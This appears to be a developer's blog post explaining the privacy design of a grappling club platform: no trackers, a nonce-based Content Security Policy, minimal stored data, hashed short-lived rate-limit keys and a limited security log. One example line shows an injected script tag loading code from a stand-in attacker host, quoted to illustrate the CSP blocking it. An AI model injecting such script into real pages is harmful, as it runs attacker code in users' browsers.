Open the developer tools on any page of grapplers.club. Open the Network tab. Reload.
You'll see one HTML response. You'll see a stylesheet, served from the same origin. You'll see two web fonts loaded from Google Fonts. You'll see a favicon. If you're logged in, you'll see one avatar fetch. That is the entire list.
No analytics pixel. No Google Tag Manager script bundle hauling four megabytes of vendor SDKs onto the page. No Mixpanel call writing your scroll position to a queue. No Hotjar replay buffer recording your mouse path. No Facebook Pixel firing on a "register" intent. No Segment proxy fanning your session out to nine downstream tools. No Sentry session replay reconstructing your DOM frame by frame.
That negative space is, in 2026, the most interesting part of the network tab. This is the article about what it took to keep it that way.
The threat model
The average grappler is not going to read this article. They're going to log a roll, RSVP for Tuesday, scroll the technique library, close the tab. None of that needs to be measured.
But the same grappler, in a different context — checking their bank balance, reading a news article, browsing a marketplace — is loaded down with trackers on most modern sites. The shape of the problem is that an average SaaS app, on its first paint, loads some combination of:
- One analytics SDK (Google Analytics, Mixpanel, Amplitude, Segment, PostHog).
- One session replay tool (Hotjar, FullStory, LogRocket, Sentry Replay).
- One tag manager that loads N more scripts on conditions the user can't predict.
- One marketing pixel (Facebook, LinkedIn, Twitter, TikTok).
- One CDN script that serves any of the above through a third party.
Each one is, individually, a reasonable engineering decision. The PM wants conversion data. The designer wants to see where users drop off. The growth team wants retargeting. The infra team wants production session debugging.
The cumulative effect is that, by the time the page is interactive, a half-dozen companies the user has no relationship with know they exist, what page they opened, and what they did on it. Every one of those companies is a single bad day — a breach, a sale, a maintainer's compromised laptop — away from that information being somewhere the user would rather it not be.
Privacy at the platform level is not "we have a privacy policy." Privacy at the platform level is "the data was never collected." We've taken the second route. This is what that looks like.
What we don't load
A grep across worker.js for the names of the common SaaS analytics tools — Google Tag Manager, Google Analytics, Mixpanel, Segment, Amplitude, FullStory, Hotjar, Facebook Pixel — returns zero matches. Not because we audited them out later; because we never added them in the first place.
The Content Security Policy makes that decision structural rather than aesthetic. The script-src directive on every page is:
script-src 'self' 'nonce-{per-request-base64}'
What that says, in protocol-level English, is: the browser will only execute JavaScript that was either served by grapplers.club itself OR carries the matching per-request nonce in its <script nonce> attribute. Neither condition is satisfiable by a third party. Even if an attacker manages to inject <script src="https://evil.com/tracker.js"></script> into a page tomorrow — through some XSS bug we haven't found yet — the browser refuses to load it. The CSP violation gets POSTed back to /csp-report and ends up in the platform activity log. The script does not run.
This is not a defense-in-depth flourish. It is the literal mechanism that makes "no third-party trackers" enforceable against a future version of me who decides, on a tired Friday, that it would be really nice to have just one Mixpanel call in there. The CSP would block it. I would have to deliberately edit the CSP to add the host. Friction is a feature.
What we don't store
Per-member data on grapplers.club is bounded. The entire shape of what we keep about a member is:
- The display name they chose.
- The email they signed up with.
- The profile fields they themselves filled in (belt, signature move, bio, location, etc.).
- Their training sessions, mission outcomes, challenge results — every one written deliberately by them through a form.
- An auto-generated stable member ID used as a KV key prefix.
- A
lastSeenkey with a 300-second TTL. It expires on its own. It is not a session history; it is a "is this person on the site right now?" check used to decide whether to email a notification when they're not.
What is not on that list, and never has been:
- The member's IP address.
- The member's User-Agent string.
- The Referer header on any request.
- Any device fingerprint, canvas fingerprint, audio fingerprint, or font fingerprint.
- A session history of pages they visited.
- A scroll-depth metric.
- A click heatmap.
- An "engagement score."
- A "predicted churn" feature.
None of these are missing because we audited them out. They are missing because no part of the codebase ever asked for them. The data isn't anywhere — not in KV, not in a queue, not in a third-party tool we deferred to.
What we don't hash
There is exactly one place in the platform where something resembling a tracking identifier is computed at all: rate-limit keys.
The OTP request flow, the platform admin login, and a few other write endpoints all rate-limit by source IP. The implementation walks like this:
hashIdentifier(ip) = SHA-256(ip).slice(0, 16)
The raw IP is hashed and the resulting hash is truncated to 16 hex characters. That hash becomes part of a KV key like ratelimit:otp:ip:{8a4f...}. The key carries a TTL — 10 minutes for OTP, 60 minutes for platform admin login. After it expires, the key is gone.
Two implications:
- The IP itself is never persisted. Not in a request log, not in the rate-limit key, not anywhere downstream. A subpoena asking for "the IP that registered on 2026-05-03" gets answered with "we do not have it."
- The hash is itself short-lived. Even the hash exists only for the cooldown window. You cannot, after the fact, ask "which hashes did we see this hour?" — the cooldown has already expired the records.
The trade-off, honestly: a SHA-256-truncated-to-64-bits identifier is not a cryptographic privacy primitive. With sufficient effort an attacker who has my KV namespace AND a candidate IP list could brute-force a match. But the relevant threat model is GDPR's "personal data" definition (don't persist raw IPs) and "given a leaked rate-limit key, can the attacker figure out whose it was?" — for which a 64-bit truncated hash with a 10-minute lifetime is, in fact, sufficient.
What we don't let others track
The privacy posture isn't only about what we collect ourselves. It's about what we let third parties collect from a member who happens to be on the platform.
robots.txt on every gym subdomain returns exactly two lines:
User-agent: *
Disallow: /
That tells every well-behaved crawler — Googlebot, Bingbot, GPTBot, ClaudeBot, the lot — that the entire subdomain is off-limits to indexing. The Tuesday-night attendance, the members' nicknames, the tournament results: none of it makes it into a search index. Googling someone's grappling club nickname turns up nothing.
The CSP, again, does the rest. No third-party scripts means no third-party trackers means no third-party attribution. There is no "this user came from Facebook" pipeline because there is no Facebook Pixel firing.
What we don't tell ourselves
The platform has an activity log at /platform/admin/logs. It captures nineteen event types. They are, in full:
login_success, login_failure, otp_requested, otp_not_found, otp_brute_force, magic_link_used, rate_limit_hit, group_created, group_deleted, group_renamed, member_joined, member_removed, member_email_set, tier_changed, avatar_uploaded, avatar_set_builtin, group_logo_uploaded, platform_logo_uploaded, csp_violation.
Read that list twice. What you'll notice is what isn't in it:
- No
page_view. Nobody at grapplers.club knows what pages you opened, in what order. - No
click_target. Nobody knows what you clicked. - No
scroll_depth. Nobody knows how far down an article you read. - No
feature_used. Nobody knows whether you RSVP'd via the home page card or the schedule page or the calendar. - No
session_duration. Nobody knows how long you stayed.
The events that DO exist are operational and security-relevant: someone logged in, someone failed five OTP attempts in a row, someone uploaded an avatar, someone deleted a group. They exist so the admin can spot a brute-force attempt or a misuse pattern, not so we can build a behavioural profile of a member.
Each event is tied to a memberName + a groupId + a timestamp. Security-relevant events — file uploads, group deletions, admin actions, rate-limit hits, OTP brute-force detection — also record the requester's IP, surfaced in the IP column of /platform/admin/logs. The IP is there because incident response sometimes needs it; it is not there to build a profile, and it never leaves the activity log. Hashing those IPs via hashIdentifier the way rate-limit keys are hashed is the next thing on this list. It hasn't shipped. The log entries do not contain a User-Agent, a session identifier, or a page path.
What we give up
Honest accounting, same shape as the npm piece. The trade-off for not collecting behavioural data is that we don't have it. Specifically:
- Funnel data. We do not know what percentage of visitors who land on the registration page actually finish it. We do not know which step of the onboarding wizard people abandon. We do not know how often someone clicks "Sign in" and bounces before submitting.
- Feature usage. We do not know whether the throwdown board is used by half the platform or a tenth of it. We do not know whether members RSVP from the home page card or the schedule view. We do not know which technique categories get clicked. The signal we have is "members are still showing up week over week," not "feature X has Y% engagement."
- A/B testing. Impossible. If we redesign the home page, we will not have a numerical answer about whether it improved or hurt the experience. We will have qualitative feedback from the handful of admins who tell us, and the silence of everyone who doesn't.
- Client-side error tracking. No Sentry, no Rollbar, no LogRocket. When a member reports "the app crashed on my phone," we have no automatic capture of the JavaScript error, the stack trace, or what they were trying to do. The CSP violation channel catches one specific class of breakage; the rest depend on someone telling us in person.
- Session replay. When a member says "I can't figure out how to edit my profile," we cannot watch their session to find the friction point. We can only ask them to describe it.
- Performance metrics by region or device. We do not know whether the platform is slow for someone on a flip phone in a stadium WiFi network. Cloudflare's edge gives us aggregate latency; the granular "this user's actual experience" data is gone.
- Retention metrics. We do not know how many clubs churn, when, or why. We know the count of active clubs. We do not know whether the trend is up or down until we look at the registration log over time and count by hand.
- Article reading metrics. Including this one. You may have read this far. Nobody at grapplers.club knows that.
These are real product blindspots. The argument is not that they don't matter; the argument is that they matter less, for this product, than the cost of installing four tracking SDKs to measure them. A grappling club RSVP platform is not Netflix. The cost of getting the next feature wrong is "we ship a fix"; the cost of installing analytics is "every member is profiled by Mixpanel forever." We have made a different bet.
If the platform grows to a scale where these blindspots start hurting actual members — meaningfully, not theoretically — we will revisit. For now, the blindness is a feature.
The dependencies that DO see you
I want to be precise here, same as in the article on npm packages. "We don't track you" is almost always a lie when you say it without footnotes. Here are the footnotes.
Cloudflare. Every request hits Cloudflare's edge before it hits our Worker. Cloudflare logs request metadata at the platform level — that's how a CDN works. They have their own privacy policy. We can't escape them; they are the runtime. The data we control is what we ask our own code to write. The data Cloudflare has access to is what every Cloudflare site has access to.
Resend. Transactional email. Every OTP, every invite, every DM email notification, every broadcast notification goes through their API. They see the recipient address and the body of the email. They are a single named vendor with a published policy. Necessary for the product to function — there isn't an email use case where the email host doesn't see the email.
Google Fonts. This one is the article's "we are still imperfect" beat. When a member's browser loads the Noto Serif headline font or the Inter body font from fonts.googleapis.com, Google's font CDN sees their IP and User-Agent. We could self-host the fonts — the WOFF2 files are small enough to ship with the worker bundle, and the CSP already allows-or-denies origins individually. We haven't, because the CDN is fast and the build pipeline is short and inertia is a hell of a drug. It's on the list. The list, as always, exists; it just isn't always shipping.
Nominatim. OpenStreetMap's geocoding service. When a member or club enters a city in their profile, we POST that city string to Nominatim to convert it to lat/lng for the throwdown board's radius search. Nominatim sees the city name and a User-Agent header identifying us as grapplers.club. Wrapped in try/catch — failures don't block the save. The only call we ever make is "what are the coordinates of this city the user just typed?" and the answer gets stored on the member's own profile.
Four named dependencies. Four contracts a person could read. Four vendors with whom we have an explicit relationship. That is qualitatively different from "the analytics pipeline our growth team set up forwards events to fourteen tools, half of which I don't know the name of."
What you can take with you
There is one piece of code on the platform whose only job is to give a member everything we have on them.
GET /profile/:member/export is gated to your own profile. It returns a JSON file containing every field the platform stores about you: your profile, your training sessions, your missions, your challenges, your injury record, your gamification stats, your promotion history, your messaging settings, your throwdown preferences. The whole row.
There is nothing hidden behind it. There is no shadow profile with your actual_engagement_score or your predicted_churn_risk or your "behavioural cohort." There is the data you typed, and we hand it back to you the moment you ask.
Where this lands
The previous article in this set was about why we have no npm packages. That argument has a shape: by deliberately removing one large category of dependency, the threat surface that remains becomes small enough for one person to reason about.
This article is the same shape on a different axis. By deliberately removing one large category of data collection — the analytics layer, the trackers, the device fingerprints, the behavioural events — the privacy surface that remains becomes small enough for one person to reason about. Member email, member-typed data, a 10-minute hashed-IP rate limit, an admin-readable security log. That is the whole list.
The threat surface you don't have can't compromise you. The data you don't collect can't be subpoenaed, breached, sold, or stolen. The trackers you didn't load can't, even theoretically, follow your members from your gym's website to whatever else they happened to be browsing today.
Subtraction is, in 2026, a feature.
I should probably have stopped at the WhatsApp group. I'm glad I didn't.